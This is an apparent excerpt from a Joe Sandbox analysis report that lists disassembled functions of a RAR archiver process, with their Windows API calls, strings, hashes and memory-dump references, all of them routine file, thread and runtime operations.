Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 9700789f573276b2ede1b5ebfa96062106796c5c9a659a3e83c111f259b17aad
Instruction ID: 97e4d6569ba5c2d7d166320eff9cdd4d185b70ede164fca7ba4e3e4a38a4322d
Opcode Fuzzy Hash: 9700789f573276b2ede1b5ebfa96062106796c5c9a659a3e83c111f259b17aad
Instruction Fuzzy Hash: 1A21A721E1C54186EB609B22F46423D63A9BB45B95F144934EA7EC66CCFE3ED8408701

Function 00007FF6F67EB198 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6F67FE0C8: GetModuleHandleW.KERNEL32 ref: 00007FF6F67FE0DC
Part of subcall function 00007FF6F67FE0C8: GetProcAddress.KERNEL32 ref: 00007FF6F67FE0F4
Part of subcall function 00007FF6F67FE0C8: GetProcAddress.KERNEL32 ref: 00007FF6F67FE11F

Part of subcall function 00007FF6F67C915C: setbuf.LIBCMT ref: 00007FF6F67C916F
Part of subcall function 00007FF6F67C915C: setbuf.LIBCMT ref: 00007FF6F67C9183

SetErrorMode.KERNELBASE ref: 00007FF6F67EB1CB
GetModuleHandleW.KERNEL32 ref: 00007FF6F67EB1D3

Part of subcall function 00007FF6F67F75B4: GetVersionExW.KERNEL32 ref: 00007FF6F67F7652
Part of subcall function 00007FF6F67F75B4: LoadLibraryExW.KERNELBASE ref: 00007FF6F67F767B

Strings

rar.lng, xrefs: 00007FF6F67EB1EB

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: AddressHandleModuleProcsetbuf$ErrorLibraryLoadModeVersion
String ID: rar.lng
API String ID: 553376247-2410228151
Opcode ID: e9996de48bb9d9bcde031e51b1587ec59832698fc0b423e5424ff5ab1a6b07d1
Instruction ID: 641f4dfb0151391c581be7d20742e15e1c5bbe45132adbdb06c085b7e6ae67fd
Opcode Fuzzy Hash: e9996de48bb9d9bcde031e51b1587ec59832698fc0b423e5424ff5ab1a6b07d1
Instruction Fuzzy Hash: E4418021E1C68342FB10EB6594715B9275CAFA6B44F041039E97ECB2D7FE6FE4488760

Function 00007FF6F68198D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32 ref: 00007FF6F6819942
GetFileType.KERNELBASE ref: 00007FF6F6819958

Strings

@, xrefs: 00007FF6F6819983

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: a679115e96cca62750580498c6e4cd7a62c16e6240ece84741dee5dfebdc1bad
Instruction ID: 9aaa2a17a08325e48ecc2bf9350a21b02cdc943cdc72c19849355d02896214f7
Opcode Fuzzy Hash: a679115e96cca62750580498c6e4cd7a62c16e6240ece84741dee5dfebdc1bad
Instruction Fuzzy Hash: AA21D722A2878245EF648B2994A01386759FB85B78F24033DD6BF877D5EE3BD881C351

Function 00007FF6F67FE5F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00007FF6F67FE62C
SetThreadPriority.KERNEL32 ref: 00007FF6F67FE682

Strings

CreateThread failed, xrefs: 00007FF6F67FE63A

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: Thread$CreatePriority
String ID: CreateThread failed
API String ID: 2610526550-3849766595
Opcode ID: 3d5fe2d106a89269981dfef8cf5d69ef3cf2ff7f59fe3e31105651d6706ce01a
Instruction ID: 9bc75711a0c8392381ac89d170b25c4c674c24b327b7d2005d18dfc5ec94562a
Opcode Fuzzy Hash: 3d5fe2d106a89269981dfef8cf5d69ef3cf2ff7f59fe3e31105651d6706ce01a
Instruction Fuzzy Hash: 95118231A18A4291F700DB21F85026A7368FFC4744F544536E6BD826A9FF7EE586C790

Function 00007FF6F6802EBC Relevance: 4.7, APIs: 3, Instructions: 214COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6F6802F91
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6F6802FAD

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: std::bad_alloc::bad_alloc
String ID:
API String ID: 1875163511-0
Opcode ID: 86a29a9341062e6cba88b99e9af931d26b7406aca689670153999af392acc49d
Instruction ID: 47bbe92700f29f1db11026392fe91f425841bf05206210ffa58393cf50e04ce9
Opcode Fuzzy Hash: 86a29a9341062e6cba88b99e9af931d26b7406aca689670153999af392acc49d
Instruction Fuzzy Hash: CB81D422A2A68256EB24DF21D5103B97768FB48B84F085839EB7D877D5EF7ED4428310

Function 00007FF6F680D50C Relevance: 4.6, APIs: 3, Instructions: 102COMMON

Download Yara Rule

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF6F680D520

Part of subcall function 00007FF6F680CF9C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6F680CFBE

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6F680D535
__scrt_release_startup_lock.LIBCMT ref: 00007FF6F680D5A3

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 3058843127-0
Opcode ID: 13aadaf4b34c6c9b7108024d0c27d5b731c68c80f967084d7d317170ef0ece76
Instruction ID: 5be975d366476d944fb95eae07f8cf781dc920dfe791b90b82920445625eaaf5
Opcode Fuzzy Hash: 13aadaf4b34c6c9b7108024d0c27d5b731c68c80f967084d7d317170ef0ece76
Instruction Fuzzy Hash: E3314E21A2E14252FB10AB2494513B92399AF45784F44693CEA3E8B2D7FE6EE4048771

Function 00007FF6F67D5E68 Relevance: 4.6, APIs: 3, Instructions: 63COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(00000000,00000800,?,00007FF6F67E7157,?,?,?,?,?,00000800,00000000,00007FF6F67E6863,?,?,?,00007FF6F67E71FC), ref: 00007FF6F67D5EB0
CreateDirectoryW.KERNEL32(00000000,00000800,?,00007FF6F67E7157,?,?,?,?,?,00000800,00000000,00007FF6F67E6863,?,?,?,00007FF6F67E71FC), ref: 00007FF6F67D5EE5
GetLastError.KERNEL32(00000000,00000800,?,00007FF6F67E7157,?,?,?,?,?,00000800,00000000,00007FF6F67E6863,?,?,?,00007FF6F67E71FC), ref: 00007FF6F67D5F02

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: CreateDirectory$ErrorLast
String ID:
API String ID: 2485089472-0
Opcode ID: 166076193f1457087ba8ae2b5a2b839c3280ced15ec73fab080b2702f5bd1b8d
Instruction ID: 85a531f6ac1bfb9d9fcafc260e14e8894998b0f2b02126a099807bb35173420a
Opcode Fuzzy Hash: 166076193f1457087ba8ae2b5a2b839c3280ced15ec73fab080b2702f5bd1b8d
Instruction Fuzzy Hash: 8321D821E1C28242FB70AB25D4613B9635BAF447D4F444830ED7DCA6D5FF7EE4848A20

Function 00007FF6F67C9238 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,00000200,00007FF6F67C9192), ref: 00007FF6F67C923E
GetFileType.KERNELBASE(?,?,00000200,00007FF6F67C9192), ref: 00007FF6F67C924A
GetConsoleMode.KERNELBASE(?,?,00000200,00007FF6F67C9192), ref: 00007FF6F67C925D

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: ConsoleFileHandleModeType
String ID:
API String ID: 4141822043-0
Opcode ID: a9bf913b6d607e416feaab4c424812f66b3651096361f77696f06a66135d79a0
Instruction ID: 33c3ec72963f4d7bca3f9ce1af24fe38b7633b49a7df1c278c822899d98e1797
Opcode Fuzzy Hash: a9bf913b6d607e416feaab4c424812f66b3651096361f77696f06a66135d79a0
Instruction Fuzzy Hash: 95E0C224E29A0343EF54876178790391398BF19F80F501038D93FCA781FE2ED1898310

Function 00007FF6F6815C28 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6F6815C0C), ref: 00007FF6F6815C50
TerminateProcess.KERNEL32(?,?,?,00007FF6F6815C0C), ref: 00007FF6F6815C5B
ExitProcess.KERNEL32 ref: 00007FF6F6815C6A

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 27e6e20ea1acebf626d43e1272af2cc7bbb56b16a03e72385118591104816ef7
Instruction ID: 7e2d50681583d415f7e48feb4524ba09c1778f9f3c2a5eb2dca11a64163c9b92
Opcode Fuzzy Hash: 27e6e20ea1acebf626d43e1272af2cc7bbb56b16a03e72385118591104816ef7
Instruction Fuzzy Hash: 1BE0BF60F2470543EB546F21ACD5779235A6F98B42F04557CC83E873E3EE7FA5498221

Function 00007FF6F67D6A64 Relevance: 3.3, APIs: 2, Instructions: 347COMMON

Download Yara Rule

APIs

OemToCharA.USER32 ref: 00007FF6F67D6C6E
ExpandEnvironmentStringsW.KERNEL32(?,?,?,00000000,00000000,?,?,00007FF6F67B7483), ref: 00007FF6F67D6ED1

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: CharEnvironmentExpandStrings
String ID:
API String ID: 4052775200-0
Opcode ID: a5d66f2045482e2a430eaa5416bb2c38d4365c6152a5b4515d7583838169d027
Instruction ID: c00c53c9cbe879549a8a92630886cdd969214aa84d3926db43e2cfb99a961590
Opcode Fuzzy Hash: a5d66f2045482e2a430eaa5416bb2c38d4365c6152a5b4515d7583838169d027
Instruction Fuzzy Hash: BCE1E422E1C6C281EB609F25D4201BF67AAFB40794F544531EAAE87AD9FF3EE445D700

Function 00007FF6F6802FC4 Relevance: 3.1, APIs: 2, Instructions: 110COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6F6803159
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6F6803175

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: std::bad_alloc::bad_alloc
String ID:
API String ID: 1875163511-0
Opcode ID: 7d95a5ff4b270386a08ad87790173fda8b9cc4a79feea9d7f1e9db64a9478f5b
Instruction ID: c89e79d5e996f0ca2e97d373cd976a0f9ed6340f98e8e2f34ac482a19b95a44c
Opcode Fuzzy Hash: 7d95a5ff4b270386a08ad87790173fda8b9cc4a79feea9d7f1e9db64a9478f5b
Instruction Fuzzy Hash: F841E362A2E68755EB64DF21D0503B977A8AB44B84F081839DB7D873D5EF7EE4418320

Function 00007FF6F67D49A4 Relevance: 3.1, APIs: 2, Instructions: 100COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,00000800,?,?,00007FF6F67D4D3E), ref: 00007FF6F67D4AD6
GetLastError.KERNEL32(?,?,00000800,?,?,00007FF6F67D4D3E), ref: 00007FF6F67D4AE5

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 4a4c43f6d13edb2b13c087c90df2e354ded04d18b79ab3898d48e54446583885
Instruction ID: 6f1f9fba9eacb88d3d9e56e50bf239a84a8e7b0cf4e40ba69dfa07d6fea79f3b
Opcode Fuzzy Hash: 4a4c43f6d13edb2b13c087c90df2e354ded04d18b79ab3898d48e54446583885
Instruction Fuzzy Hash: 5931D722B29A9242EF604B27D5646B82399AF84BD4F144535DE7DC77D8FF3EE8818700

Function 00007FF6F67D4410 Relevance: 3.1, APIs: 2, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000800,?,00000000,00007FF6F67C95A4,?,?,?,00000000,?,00007FF6F67C9338), ref: 00007FF6F67D44A4
CreateFileW.KERNELBASE(?,?,00000800,?,00000000,00007FF6F67C95A4,?,?,?,00000000,?,00007FF6F67C9338), ref: 00007FF6F67D44F1

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c136cf299cf804b1ba8627d808311ddb0ac39a8981a3664ed7a2972a8828b9d6
Instruction ID: b79ce6e2d61d30f802860f02137afe5e1bf4a28eacef4cd19cff5e8b0211694d
Opcode Fuzzy Hash: c136cf299cf804b1ba8627d808311ddb0ac39a8981a3664ed7a2972a8828b9d6
Instruction Fuzzy Hash: E031F273A2868146EB708F21E4153A926A5BB447B8F404334DFBC876C9EF7ED485C750

Function 00007FF6F67D4D60 Relevance: 3.1, APIs: 2, Instructions: 76timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32 ref: 00007FF6F67D4D8E
SetFileTime.KERNELBASE ref: 00007FF6F67D4E2B

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

